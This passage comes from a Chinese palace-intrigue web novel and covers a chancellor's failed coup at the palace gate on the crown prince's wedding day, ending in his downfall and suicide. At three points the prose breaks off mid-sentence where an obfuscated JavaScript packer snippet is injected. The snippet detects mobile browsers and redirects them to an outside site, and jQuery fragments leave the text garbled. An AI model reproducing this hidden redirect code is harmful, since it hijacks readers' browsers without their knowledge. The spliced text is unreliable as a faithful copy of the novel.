“姐姐,我说的都是真的。昨儿父亲去了荣华堂,亲口和母亲说了这件事,正巧辰珠陪三少爷在院子里玩,无意间听到了这些话。辰珠从前曾经是我的贴身丫鬟,同我有一起长大的情份,她知道我与你素来交好,便冒死和我说了这件事,姐姐,你今晚务必当心啊。” 席容烟的手心渗出冷汗,她掏出帕子拭手,正好碰到腕上冰冰凉的珠镯,不自觉打了个哆嗦,“母亲既然已经知道了此事,为何还要派华盛过来添妆,为何还要让全福嬷嬷说这些吉祥话,还说什么婚姻美满,早得骄子,顺顺当当,喜气祥和,原来,原来都在骗我。” 席容珍拉起她的手,“姐姐,我人微言轻,只能帮你这些了,今儿是你的喜日子,珍儿在此祝愿姐姐,遇难呈祥,逢凶化吉。” “好妹妹,这份情谊,我谢过你。”席容烟还要再说时,忽觉一阵绞痛卷遍四肢百骸,仿佛每一根血管都被人用针挑开,淋上了灼热的盐,“啊!” “姐姐,你怎么了?” 席容烟紧紧攥住席容珍的手,“什么时辰了?” “我刚才过来的时候是申时,现在怕是快到酉时了。” “啊——好痛——” “姐姐你别吓我!”席容珍慌乱喊道,“快来人呀!” 桃夭听见喊声,最先冲了进来,桃夭一见席容烟这副样子,便知她是毒发了,“姑娘!” 华盛皱了皱眉,“这还未到戌时,怎么就——”她看了一眼席容珍,笑了笑,“四小姐,烟姑娘素有弱症,不打紧的,四小姐先回去吧,这里还有我呢。” 席容珍有些不放心的看向席容烟,席容烟勉力一笑,“我没事,去吧。” 席容珍只得仔细嘱咐了桃夭两句,便带福禄离开了。 “姑娘这样,一会儿如何出嫁呀,敛秋,你速去前面找老爷,就说烟姑娘提前毒发了,回的时候小声些,别让人听见。” “是!”敛秋急急行了个礼,往门外跑。 桃夭哭泣着跪下,“华盛姑姑,我求你为我们姑娘求求情吧,她身子弱,受不住的呀。” 华盛叹了口气,“你求我有什么用,这都是老爷的主意,便是我们夫人也是说不上话的。” 席容炎来得很快,他看见席容烟的样子,眼底闪过了一丝丝不忍,却也很快就消散了,“你们都下去。” “是——” “烟儿,事到如今,我很好奇,你是否有过后悔,如果你当初选择了我,或许,你未必有多幸福,但至少不会像现在这般痛苦,可惜呀,路,都是你自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502779|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己选的。” 席容烟痛至骨髓,根本听不清他在说什么,她只觉得痛,很痛很痛。 席容炎见她不说话,冷哼道,“你现在不会还在记挂着寒星吧?你知道吗,他已经当上了西域可汗,可他早就已经把你抛在脑后了。我曾写信给他,如果他不能在你大婚之日赶回,为我效命,那他就只能看见你的尸首,我以为,他会回来,哈哈,可惜呀,他没有,他根本就没有在乎过你,他所说的爱你,不过是蒙蔽我的技俩罢了。如此说来,你也的确可怜。” 席容烟缩在地上,眼前的事物逐渐开始变得模糊不清,席容炎的话也都是乌蒙蒙的浮在天上,她真的觉得自己快死了,不知为何,她仿佛又一次看见了那夜月下的漫天星子,看见见了他们缱绻相拥,吻到窒息的抵死缠绵,看见了她唇上的鲜血和他锁骨间的那抹妖冶—— 她喃喃唤着,“寒星——” 席容炎神色僵硬,“都这个时候了,你还在想着他!” 他一拂袖子,忿然离去,桃夭见他走了,慌忙进来搀住席容烟,“姑娘你怎么样了!” “把这个,喂给她吃。” 桃夭愕然抬头,却见是席容炎去而复返。 “愣着干嘛,还不赶快接着。” “啊,是,谢谢老爷,谢谢老爷!” 桃夭颤着手接过那个小巧的青竹瓶,倒了口水,服侍席容烟吃下了解药。 席容烟服了解药,这才渐渐恢复神智,她在黄泉路上走了一遭,只觉得整个人轻飘飘的,“这是哪里来的解药?” “老爷给的,方才老爷过来了。” “父亲说了什么吗,我恍惚间好像听见有人在说话。” “不知道,老爷让我们都出去候着了,所以并未听见老爷和姑娘说了些什么。” “罢了,咳咳,快到时辰了,桃夭,扶我起来吧。” 东宫。 云风为魏晗烨换上江牙海水簇金绣红蟒袍,她的手在最后一颗盘扣上顿住,魏晗烨低头笑了笑,“别担心,有袁青在,孤不会有事的。” 袁青回道,“殿下,人手都已经安排妥当,就看这条大鱼上不上钩了。” 云风拿来白玉胭脂盒子,照例往魏晗烨的无名指上点了一点。 魏晗烨抬手,仔细端详着自己无名指上的那粒胭脂痣,“风声可都放出去了?” “属下找了长街上的一些泼皮,许给他们银子,叫他们散布殿下并非皇子的流言。那些泼皮都是些市井无赖之徒,说的又是对殿下不利的话,料那席容炎不会起疑。” “哼,起疑?这个当口,只怕有些人早已急不可耐了,只差一个由头罢了,听见了这样的事,岂有不上心的。袁青,你今日便好好看着,他的万丈高楼是如何在一夜之间倒塌的。” “殿下布局周密,定然万无一失,只是属下担心,皇上会因为皇贵妃的缘故,法外开恩。” “大厦将颠,非一木所支也,何况,这一木从一开始就没那么牢固。”[3] “因为皇上病重,殿下监国,礼部拟的婚仪比照帝后大婚时的例子,派了礼部侍郎白昭、工部侍郎何嘉手持金节,前往宰相府奉迎太子妃,这会子怕是已经到了长街,就快到午门了。” 魏晗烨抬眼,只见日光从大红双喜字连珠纹影壁间掠过,稀稀落落,洒下了一地金黄。 “走吧。” 72. 席容炎举兵 午门。 御路铺设棕毯,左右皆陈仗马,礼部官员走在最前面,侍卫在后乘骑护从。 太监秦川扶护轿舆,执打宫灯,隔着纱窗笑道,“太子妃,这便到了午门了,历来只有皇后的凤舆方可从此门进入,如今太子殿下虽已监国,到底未曾登基,所以等下麻烦您下轿,奴才扶着您从两侧掖门进去。” 席容烟在轿内微一颔首,桃夭便道,“有劳秦公公了。” “落轿——” 秦川挑了帘子,桃夭上前扶着席容烟缓步下轿,忽听后面传来一阵喧嚷声。 礼部侍郎白昭迎了上去,“裴大人?李尚书?这是怎么回事,各位大人,你们怎么来了?” 裴志固皱眉道,“不是皇上下旨,命我等前来观礼的吗?” 白昭愕然,“皇上卧病在床,怎会下旨,敢问裴大人,这诏书何在?” “并无诏书,是皇上身边的杨公公到我府上传的口谕。” “杨公公?杨顺?” 众人正在疑惑,忽觉地面震动,随即便听一阵铁骑踏地的声音奔涌而至。 “是我派杨顺去的。” 白昭最先回头,见是席容炎率兵前来。 工部侍郎何嘉瞧出势头不对,赶紧吩咐道,“快去回禀太子殿下,皇后娘娘,快!” “宰相大人?宰相大人带兵入内,可是死罪呀!” 席容炎翻身下马,“各位大人莫恼,我今日请各位大人前来,是想请大家帮我做个见证。” 李茂抄着手,笑而不语,裴志固正色道,“身为人臣,便当忠君不贰,无论为了什么,宰相都不该如此行事,这实在是太不像话了!” “裴大人说得甚好,只是不知,‘忠’之一字,该作何解?” 国子监祭酒陆成江道,“志虑忠纯,勤谨奉上,这便是忠。” “是了,忠要忠于天子,可若是,这未来的天子血统不纯,又该如何?” 大臣们闻言,俱是面面相觑,窃窃私语,李茂扫了一圈,笑道,“宰相大人不妨直言。” 席容炎拍了拍手,杨顺上前一步,“回各位大人的话,太子殿下早在一年之前便已身死,如今摄政的太子并非皇上亲生,他是皇后从民间寻来的一个来历不明的野种。” 内阁大学士林修仁忿然拂袖,“放肆!你一个阉人,怎敢在此胡言乱语!” 李茂道,“近来街头巷尾,多有关于太子身世的闲话,我听了一些,心里也存了些疑惑,杨顺所言,到底是胡言乱语,还是确有其事,现在说还为时尚早。” “怎么,李尚书的儿子娶了宰相的女儿,李尚书就也想做乱臣贼子了吗?” “哈哈,不敢不敢,我李氏一门,效忠朝廷,已逾两朝,一向是帮理不帮亲的。杨顺,你说太子血统不纯,可有证据呀?” “一年前,太子殿下在郊外遇刺身亡,魏皇后为了大权在握,将中宫之人全部秘密处死,就连周太医也死在了当夜。魏皇后对外宣称,周太医是因宫人侍候不周,滚下台阶,才失血过多而亡的,可是席容皇贵妃当时便心有疑惑,命仵作暗中查验尸身,发现周太医并无外伤,只有嘴角残留鲜血,这分明是中毒而亡。诸位大人若是不信,大可传仵作问话!” 林修仁冷哼一声,“太子殿下的容貌,我等又不是没有见过,这种狸猫换太子的戏码,难为宰相大人想得出来。席容皇贵妃是宰相的亲生女儿,她找的仵作说的话岂能当真?” “两个人就算长得再像,也总有些不一样的地方,已故太子殿下的无名指上落着红痣,这便是这个野种所没有的。为了掩人耳目,他日日都要用胭脂点染,此事,有东宫丫鬟蓉儿作证。蓉儿,你给各位大人说说你亲眼看到的事情。” 蓉儿跪在地上,磕了个头,“奴婢一直在东宫伺候太子殿下,偶尔也会跟着殿下出入,想来各位大人都是见过奴婢的。” 两淮都转运盐使司方雪岩端详着她,“不错,这丫头的确是跟着太子殿下的。” 裴志固道,“蓉儿,此事非同小可,你要想好了再说。” “是,一日晨起,奴婢瞧见云风姐姐拿了胭脂盒子,赶着去服侍太子殿下了,奴婢想,殿下是个男子,他要胭脂做什么呢,奴婢因此留了心,竟发现殿下日日出门前,都要用胭脂在手上点染。奴婢想起一年之前,殿下遇刺回宫以后,便有些古怪之处,好多东西都不知道放在哪里,好些宫人的名字也总会喊错,奴婢那时只当是太子殿下大病初愈,又受了惊吓的缘故,如今一想,竟是十分蹊跷的。” 方雪岩道,“蓉儿这么一说,我倒是想起一事,一年前,我回京述职,正巧在路上碰见了太子殿下,太子殿下第一眼竟未认出我来,果然有些古怪。” 李茂这才注意到方雪岩,他侧头笑道,“哟,方大人什么时候回来的,我竟不知,哈哈。” “哈哈,也就在这一两日罢了,是太后娘娘传我回京的。” 裴志固瞥了方雪岩一眼,看向蓉儿,“蓉儿,你既是东宫的人,又怎么会和外臣牵扯在一块儿?如果你所言属实,理应禀明皇上,你为什么瞒而不报,硬生生拖到了今天?” “裴大人有所不知,奴婢的姐姐从前在中宫当差,就在太子回宫的那一夜,她死了,连尸首都没留下,奴婢当时就害怕极了,后来知道了这样的事,心里更是恐慌,生怕自己也像姐姐一般,哪一日就被人灭了口,所以,奴婢左思右想,最后还是去仪鸾宫求了皇贵妃娘娘,皇贵妃娘娘听说了这样的事,也是十分惊愕,她为保万全,派人暗中查访,让奴婢不要声张,一切都等查明白了再说,还说千万不能空口白牙,平白冤枉了太子殿下。” “太子殿下到——” 众大臣纷纷退后一步,跪地拜道,“参见太子殿下!” 唯有席容炎面色肃然,一动不动地站在当地。 袁青执剑,寸步不离地跟在魏晗烨身侧。魏晗烨看了一眼席容炎,又看了一眼跪在地上的杨顺、蓉儿,他轻哼一声,目光慢慢落在了头披龙凤同合纹红缎盖头的席容烟身上,他的神色渐次变得温和起来,抬手道,“都起来吧,桃夭,你扶太子妃先回轿里歇着。” 席容烟屈膝行礼,扶着桃夭的手进去了。 “孤来迟了,没听见你们的热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502780|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谁来给孤讲上一讲,你们方才都聊什么呢,嗯?” 席容炎道,“太子殿下,不,如今不能这么称呼了,让我想想,该叫你什么好呢。” 林修仁道,“事情尚未分明,殿下依旧是殿下!” 李茂打了个哈哈,“是这样的,御前伺候的副总管杨顺,还有殿下身边的丫鬟蓉儿一同出首太子殿下血脉存疑,恐非皇上亲生。除此以外,给周太医验过身的仵作作证,周太医的亡故并非摔伤,而是中毒,这就说明,一年之前,东宫、中宫发生了一件不可告人的秘密。” “哦?”魏晗烨笑了笑,“今早孤去中宫给母后行礼,还说起今晚该听什么戏,没想到你们这么急不可耐,白眉赤眼的,就在这儿唱上了,也罢,孤就听上一听。宰相言之凿凿,说孤并非天皇贵胄,诸位大人也都是这么认为的吗?” 众人皆低着头,默然不语。 席容炎冷笑道,“殿下若想自证清白,一验便知!” 魏晗烨微眯着眼,“你说,如何验?” 席容炎给杨顺递了个眼神,杨顺会意,弓着身子退了出去,不一会儿,他端着一个托盘回来了,众人看时,只见上头盛了一盆清水,一块香皂,一条手巾,都说,“这是何意?” “蓉儿说,她曾亲眼看见殿下手上的胭脂痣是云风沾了胭脂点染的,殿下若要自证清白,只消当着大家的面儿,洗上一洗就好了。” 魏晗烨想了想,“袁青,你去看看。” 袁青应声上前,拿着银针一一验过,“回殿下,无毒。” “好吧。”魏晗烨挽了挽袖子,将手浸在水中,“不过,丑话说在前头,宰相假传圣旨,领兵入内,孤若是验完了,证明宰相所言为虚,孤便要以死罪论处宰相,以正纲纪!” “当然,若是臣冤枉了殿下,臣甘愿伏诛!杨公公,你一向是在御前伺候的,行事极为稳妥,就劳烦杨公公服侍太子殿下净手吧。” “奴才遵命。” “等一下,”袁青伸臂拦住了杨顺,“你这样的腌臜之辈,也配伺候殿下吗?让我来!” 杨顺脸色发青,回头看了一眼席容炎,见席容炎冲他微微摇头,只得压着怒气退了下去。 袁青舀着沐盆里的清水,小心翼翼地为魏晗烨洗着手,突然,他停下了手中动作,不可置信地盯着沐盆里的水。魏晗烨觉察到袁青的目光不对劲,他忙低头一瞧,也是骤然变容。 “哼!”席容炎得意一笑,上前拽住魏晗烨的手,高举示人,“大家都看到了,他手上的红痣遇水即溶,我说的话,句句属实!” 裴志固急得咳嗽了起来,“怎会,怎会如此?!” 袁青用剑鞘击退席容炎,“放肆!” 席容炎一挥手,他带来的人马就都围了上来,不光是先前的那些,还有城墙上,宫门里,到处都是,黑压压的一片,众人见状,都是一惊,“京城之内,宰相哪里来的这么多兵马?” 宰相府的暗卫们身着黑衣,从天而降,袁青拔出剑,死死护在魏晗烨身前。 蜀州知府殷荣,奉城知府韩辙各率一队兵马,将众人团团围住。 73. 岂料局中局 众大臣吓得纷纷后退,“这外臣无诏,不得擅自回京啊,你们这是——” 裴志固回身怒斥,“席容炎,你这是要谋反吗?” “裴大人,你都看到了,你眼前的这个太子殿下是个西贝货,他顶着太子的身份,暗中下毒把皇上害的一病不起,还妄想有一天登上皇位,他才是谋反呀!我带兵入内,诛杀叛贼,为的是清君侧,替圣上分忧!” 魏晗烨的神色冷峻,“席容炎,孤不知道你到底使了什么技俩,才让这水变成了红色。只是父皇中毒一案,孤同刑部尚书张悍,大理寺卿许忠和都已经审问清楚了,分明就是你让申如黛给父皇下的毒,你怎么还有脸提起此事?” “你不过就是一个反贼,你以为,你如今说的话,还会有人信吗?诸位大人以为呢?” 陆成江道,“就算此人并非太子殿下,也得等皇上醒了,查明此事,再由皇上亲自发落。” 席容炎笑道,“陆祭酒,我知道你的长女曾在赏花宴上落选了,但你的小女儿应该尚未婚配吧,正巧,犬子也还没找到合适的人家,如蒙不弃,陆祭酒可愿意同我家结亲呀?” 陆成江尚未答言,光禄寺少卿孟云阳一拂袖子,“席容炎,当着这么多人的面儿,你就假借婚姻之事,公然结党营私,真是司马昭之心,路人皆知!”他说罢,朝天上拱了拱手,“我等承蒙皇恩,为的是匡扶正道,怎会同你这样的乱臣贼子沆瀣一气,你别做梦了!” 席容炎脸色遽然一沉,“好吧,人各有志,不可勉强,韩辙!” 韩辙抽出宝剑,朝着孟云阳就刺了过去,袁青护在魏晗烨身侧,也来不及去救。可怜那孟云阳一介文官,还没来得及躲闪,就已经一命呜呼了。 “啊!杀人了!”在场之人都没想到席容炎竟然会当场行凶,一时间慌张起来。 孟云阳的血溅了陆成江一脸,他颤巍巍地往后挪着,正好和裴志固撞到了一起。 “裴,裴大人呐,这,这霍淳大将军怎么不在?” “今日太子殿下大婚,长街道路两侧皆派了重兵把守,霍将军的人马都分散开了,只怕一时半会也是聚不齐的。” “这,这可如何是好!” 席容炎微微一笑,“陆大人可愿将令爱许配给犬子呀?” “啊——这——”陆成江看着地上的鲜血,艰难地咽了口唾沫,“却之不恭,却之不恭。” “哈哈哈好,陆大人是个爽快人。那么,诸位大人,可愿意助我肃朝堂,清君侧啊?” 忽听“嗖”的一声,一支箭在众人的头顶飞过,正中韩辙眉心。 鲜血从韩辙的面门淌下,韩辙瞪大了眼睛,一下子栽落马背。 众人心有余悸的捂着胸口,却见是肃安王率军赶来,将席容炎的人都包围了起来。 席容炎大惊失色,“肃安王?你不是被刺客伏击了吗?你怎么会突然出现在这里?” “哼,本王若是死了,还怎么揭露你的丑恶嘴脸!陆奔!” “是,主子。”陆奔策马上前,扬起手中的信,“这是固伦公主写给皇上的家书,里面记载了这些年,固伦公主在西域的所见所闻,林大人,公主幼时,您曾教她读书习字,公主的字,您一定是认得的,就请您为大家读读。” “这个自然。”林修仁接过书信,展开念了起来,“父皇,一别经年,儿臣远嫁西域,已有八载,儿臣不能在膝下奉养,还要让父皇母妃日夜牵挂,实乃儿臣之过。儿臣远赴蛮荒之地,本为两国和睦之意,可恨西域可汗不辨是非,竟与宰相席容炎多番勾结,败坏朝纲。他们善用毒药,前大魏宰相霍霆,皇后娘娘之子魏晗煜皆死在了他们手上。他们还妄图再用此药谋害太子,谋害父皇!另,十三年前,镇西大将军陈玄赫一案,其中另有隐情。” “什么?陈玄赫,陈将军!”此言一出,众人哗然,纷纷交头接耳地议论起来。 袁青清了清嗓子,“肃静!” 林修仁继续念道,“陈将军当年并未里通外国,那封所谓的通敌书信是席容炎的手笔。席容炎派人在陈府杀人放火,事后又将伪造的书信藏在里头,做出陈将军畏罪自焚的假象。可怜陈家满门忠烈,在沙场上杀敌无数,最后竟是冤屈而死,全族上下五百余人无一幸存。父皇,西域可汗如何苛待儿臣,儿臣全不在乎,但是陈将军乃是大魏良将,功在社稷,理应彪炳千秋,流芳后世,父皇一定要为陈将军沉冤昭雪,以慰陈氏一族在天之灵!” 林修仁尚未读完,将士们已经按耐不住,破口大骂,“席容炎,你个狗贼,陈玄赫将军当年带着我们大杀西域胡人,攻无不克,战无不胜,那是何等的痛快!风里雪里,死人堆里,我们都活下来了,可是,你,你却凭空捏造出一封通敌迷信,把他害到了满门抄斩的地步!陈将军对我们恩重如山,我们今日定要取你狗头,祭奠陈将军的亡魂!” 士兵们不容分说,冲着席容炎涌了过来,宰相府暗卫纷纷拔剑,护在席容炎身前,刀光剑影,两拨人马立时搅作一团,也不知是哪一拨的人不小心撞翻了席容烟的轿子,席容烟被摔了出来,席容炎看见席容烟,就像看见了救命稻草,他在暗卫的掩护下,一把拽住席容烟,大声喊道,“陈家尚有遗孤在世,她就是陈玄赫的幼女陈兰旌!” 将士们愣了一下,随即骂道,“呸,她分明是你养在府中的暗娼,别以为我们不知道你府里的那点破事儿,你们席容家的人,一个都别想跑!” 魏晗烨眼看有人拔剑冲席容烟刺了过去,不自觉上前一步,“谁都不许伤她!” 席容炎的人马逮到机会,在魏晗烨右手右臂划开了一道口子。 袁青一剑斩杀那人,随即高喊,“保护太子殿下!” 魏晗烨被袁青率领的侍卫们挤到了后面,他大喊,“住手!” 桃夭被人流隔在轿子的另一头,她心急如焚,却也只能眼睁睁看着席容烟身处危险之中。 沉甸甸的凤冠霞帔坠的她挪不动脚步,凤嘴长缨下的步摇轻晃,她瞧见一记白光向自己迎面袭来,生死攸关之际,她往后一仰,勉强躲过了那一剑。可她身上佩戴的首饰实在太重,席容烟直不起身,她原本以为自己会栽倒在地,却没想到,她最后会栽进一个人的怀抱里。 这个人的怀抱是那样的坚实有力,无需回头,她便知道这人是谁,她太熟悉这种感觉了。 席容烟檀口微张,还是不争气的流下了眼泪。 一别数月,她终于见到了自己日思夜想的人。 寒星温柔地吻去她眼角的泪痕,“是我,我回来了。” 席容烟泣不成声,“你再不回来,我真的要坚持不下去了。” 寒木砍了几个扑上来的士兵,白了寒星一眼,“你们要腻歪,也得看看在哪吧,真是的。” 寒星一边吻她,一边抱着她旋身避开一剑,“阿烟,这里不是说话的地方,我带你先走。沙吾提,你护着阿烟。木头,这儿就交给你了,不必恋战,但一定要把弟兄们都给我带出来!” “放心吧!” 魏晗烨怔怔地看着二人,“他是谁?” 袁青摇头,“不认得。” 宰相府的暗卫功夫绝佳,肃安王的兵马根本近不了席容炎的身。 席容炎仰天大笑,“哈哈哈,魏晗烨,你想杀我,下辈子吧!你们都给我听好了,谁能砍下那厮的头颅,待我登基之后,赏千金,封万户侯!” “席容炎,你大胆!” 众人听见这声音,俱是一愣,裴志固率先跪下,“臣参见陛下, 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“陛下恕罪,当年,陈玄赫将军实在是冤枉的。那封通敌密信,其实,其实是微臣所写!微臣已从大理寺将此信调出,陛下一看便知!” 李义取过申无忧手中的信,“陛下请看。” 魏帝扫了一眼,“申远,陈将军是武将,你是文臣,你们缘何交恶,值得你这般害他!” 申远重重磕了一个头,“回禀陛下,这都是宰相大人指使微臣所为,微臣自知即便身死,也是难辞其咎,但求陛下仁慈,宽宥吾儿,微臣便感激不尽了!” 席容炎气得咬牙,“申远,你!你分明知道,当年之事,你我二人都是受了陛下的召见,才要将陈玄赫置于死地,若是陈玄赫果真冤屈,始作俑者也是陛下!将士们,你们不是要为陈玄赫报仇吗,去呀,去杀了那个身着黄袍的人,是他,忌惮陈玄赫镇西大将军的威名,也是他,畏惧外戚的势力,才有了霍霆之死,才有了太后搬进西山。我席容炎今日所言,句句属实,你们要是想报仇,就去杀了他,杀了他!” 魏晗烨拂袖,“席容炎你真是放肆,你自己做下的恶事,难道还想要赖到父皇的身上吗?” “哈哈哈哈,太子殿下,怕是连你也不知道,你的父皇究竟长了一颗怎样的冷血之心吧!你不是喜欢断案吗,你不是不信吗,好啊,去查啊!我以席容一族起誓,我方才所言,若有半句不实,我席容一族,无后而终!陛下,你敢发誓吗,你敢发誓,你没做过这些事吗?!” 魏晗烨听了这话,微微怔住,宽大的袖袍之下,他的双手紧握成拳。 魏帝冷冷的看着他,“席容炎,你疯了。” “你不敢,对不对,因为这些事情本来就是你的旨意,我不过就是你杀人的刀子罢了!” 将士们有些迟疑,一会儿看向席容炎,一会儿看向魏帝,席容炎说得信誓旦旦,他们也不由得信了几分。 “朕乃天子,难道你想让朕以天下苍生起誓吗?席容炎,你的心思也未免太过恶毒了!” 肃安王策马上前,“将士们,不要相信他的话,他连太子殿下的血脉都敢出言污蔑,还有什么事情是他做不出来的!诸位,功名不早著,竹帛将何宣!席容炎构陷忠臣,毒害皇子,出言不逊,犯上作乱,人人得而诛之,此刻正是诸位建功立业,报效朝廷的好时候!”[1] 将士们再次蜂拥而上,韩辙已死,殷荣不惯兵务,眼下只能苦苦支撑。 寒木一面匿身于人群之中,一面招呼相识的暗卫,“兄弟们,别太卖力气,咱们的头儿已经拿到了解药,兄弟们保重自身,尽早脱身!” 74. 乾坤翻覆间 宰相府的暗卫原本就是为了解药,才不得不干着刀头舔血的营生,如今眼见席容炎大势已去,韩辙也被一箭射杀,一个个哪里还肯为他卖命。 席容炎的人马渐次落了下风,他不甘心的大笑起来,笑声近乎疯狂,“飞鸟尽,良弓藏,狡兔死,走狗烹,你们以为拥戴他,你们就会有什么好下场吗,哼,只怕最后还不如我呢!”[1] 尘土飞扬,霍淳率军狂奔入城,他一骨碌跳下马背,“微臣来迟,还望陛下、殿下恕罪!” 魏帝抬了抬手,“霍将军快快请起。” “霍将军,孤让你办的事情,你都办妥了吗?” 霍淳颔首,随即回头吩咐道,“把人压上来!” 席容炎一愣,只见席容夫人、殷氏被人捆住,嘴里还塞着麻布。 殷荣看见自己的女儿,手中再也握不住剑,由着肃安王的人绑了自己。 “陛下,除了席容弥成已死,席容家的人俱已收监在册。” “好,你办得甚好。” 霍淳把剑架在席容夫人的脖子上,“席容炎,你若是再不束手就擒,我就让你亲眼看着,你的发妻死在你的眼前!” 席容炎红了眼睛,“你敢!” “呸!”席容夫人挣扎着吐掉了嘴里的麻布,冲着席容炎大喊,“老爷!你不要管我!去做你想做的事,不要管我!”她微微一笑,含泪说道,“席容炎,记住了,我永远爱你。” 说罢,席容夫人撞向剑锋,血溅当场。 席容炎失声痛哭,“夫人!” 魏帝身后突然传来一声惊呼,“不好了,快来人啊,皇贵妃娘娘晕倒了!” 魏帝回头,原来是席容皇贵妃匆匆赶来,正好看见了她的母亲撞在剑上的这一幕。 “废物!朕不是让你们看好皇贵妃的吗!” 侍卫并不敢为自己分辩,只是不停地磕头请罪,“陛下恕罪,陛下恕罪。” “罢了罢了,扶皇贵妃回宫,若是她再有什么闪失,朕唯你们是问!” “是!” 寒木趁机挥剑大喊,“陛下,我们是宰相府的暗卫,我们本不愿意犯上作乱,是席容炎用毒药迫使我们为他效力,现下,我们愿意将功折罪,还望陛下宽宥我们,放我们一条生路!” 魏帝稍作思量,“朕知道,你们为人爪牙,做了不少恶事,不过,你们也是逼不得已,这样吧,若是你们今日能够诛杀叛贼,朕可以既往不咎,饶恕尔等性命。” 暗卫们都有些动心,“你说的话可当真吗?” “朕乃天子,一言九鼎,朕的话自然当真。” 寒木道,“大家都听到了,只要杀了席容炎,我们从此就是清白身!” 席容炎知道自己大势已去,又见夫人已死,即便自己活了下来,也是无趣,他拔出剑,抵在自己脖颈上,冲着魏帝大喊,“成王败寇,我认输了,但我希望陛下能够善待琰儿,她从来没有参与过谋逆之事,你们同床共枕多年,她待陛下如何,陛下应该心中有数。另则,因果轮回,报应不爽,我当年杀了陈玄赫一家,如今终于也轮到了自己,我甘愿伏诛。只是上天亦有好生之德,还望陛下可以网开一面,饶弥德、弥辉,还有珵儿、珍儿、玲儿不死,他们还都是孩子呀,陛下全当是给自己积积阴德了!” 魏晗烨冷笑,“席容炎,你还真是打了一手的好算盘,你杀过的人,就是用你满门的血来偿,也是偿不清的。更何况,你以为你如今还有讨价还价的资本吗?” 席容炎并不理会魏晗烨,只是拿眼看着魏帝,“还望陛下允准,微臣死而无憾。” 魏帝眺着宫墙外的一缕血色残阳,良久方道,“席容炎,你我君臣相识十余载,你虽然起了反心,朕却不能不顾念君臣情谊。你死以后,你的孩子若是果真无辜,朕会从宽处置的。” 席容炎慨然一笑,“好,我相信陛下会言而有信的。来日地下相见,微臣一定克己复礼,好好做个纯臣!”说罢,他将剑横在脖上,使力重重一划,顷刻间,潋滟鲜血泼红了天际,他睁着眼睛,倒向了身后的一片苍凉暮色。 “传朕旨意,席容炎大逆不道,死有余辜,将他的尸首悬于午门之上,暴尸三日,以警众人!席容炎九族以内的亲属全部下狱,交由刑部审理,大理寺复核,凡有罪者,一律处斩。” 李茂跪地磕头,“陛下圣明!” 魏帝扫他一眼,“李尚书,朕还没有说完呢。吏部尚书李茂同席容炎有姻亲之谊,亦在九族之内,着令下狱仔细审理!蜀州知府殷荣协同作乱,罪无可恕,拖出去,斩立决!奉城知府韩辙身涉固伦公主之事,更有勾结西域之嫌,肃安王,此事朕交给你办,审问清楚之后,夷其三族,以儆效尤。” “儿臣领旨!” “另外,席容炎虽已身死,但他在宦海沉浮多年,只怕朝中还有他的党羽。三日之内,凡曾与席容炎有过勾结者,主动自首,朕只查办一人,不会祸及他们的家人,若是三日之内未曾自首,哼,那就不要怪朕无情了!” 席容炎盘桓相位十余载,朝中与他有过来往的官员不少,此刻闻得这话,俱是人人自危,大气也不敢喘。陆成江匍匐着爬了出来,“陛下恕罪,微臣不该与罪臣之子结亲,可是微臣当时实在是害怕呀,求陛下恕罪!” “陆爱卿不必恐慌,朕知道,姻亲之事,都是席容炎逼迫你的,他如今已经死了,你们两家的婚事自然也就做不得数了,李义,快扶陆大人起来。” 陆成江涕泗横流,叩头不迭,“多谢陛下开恩,陛下万岁万岁万万岁!” 魏帝的语气略微和缓了些,“朕知道,席容炎当权之时,你们畏其权柄,或多或少都会和他有所来往,朕也并非不近人情,只要尔等未曾助其作恶,这些倒也无妨,还望诸位臣工经此一事,恪守本分,这才是做臣子的道理。” 众大臣跪地叩拜,齐声称是。 “可怜孟爱卿陈词激昂,忠厚有加,朕便追封光禄寺少卿孟云阳为孟哀侯,谥号忠懿,孟哀侯的丧仪务必极尽哀荣,其妻授以一品诰命,其女赐封县主,其子不必经由科考,可以直接入朝为官,具体事宜交由吏部酌情安排,咳咳——” “陛下!” “父皇!” 魏帝将帕子掩在袖中,疲惫地摆了摆手,“天色已晚,朕就先回去了,烨儿,你是太子,这里还有一些未了之事,朕就都交给你了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502782|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是,李公公,好生扶父皇回去!” “殿下放心,奴才知道。” 魏晗烨看着跪在地上一个劲儿发抖的杨顺,冷冷道,“杨公公,你最先举证,说孤并非皇子,而是野种,这水又是你端来的,其中蹊跷,你该最清楚,还不快从实招来!” “殿,殿下饶命,这水的确是清水,奴才只是在这块香皂里加了些东西。” 袁青拿起香皂,放在鼻下仔细嗅了嗅,“什么东西?” “苦枥子树皮。” 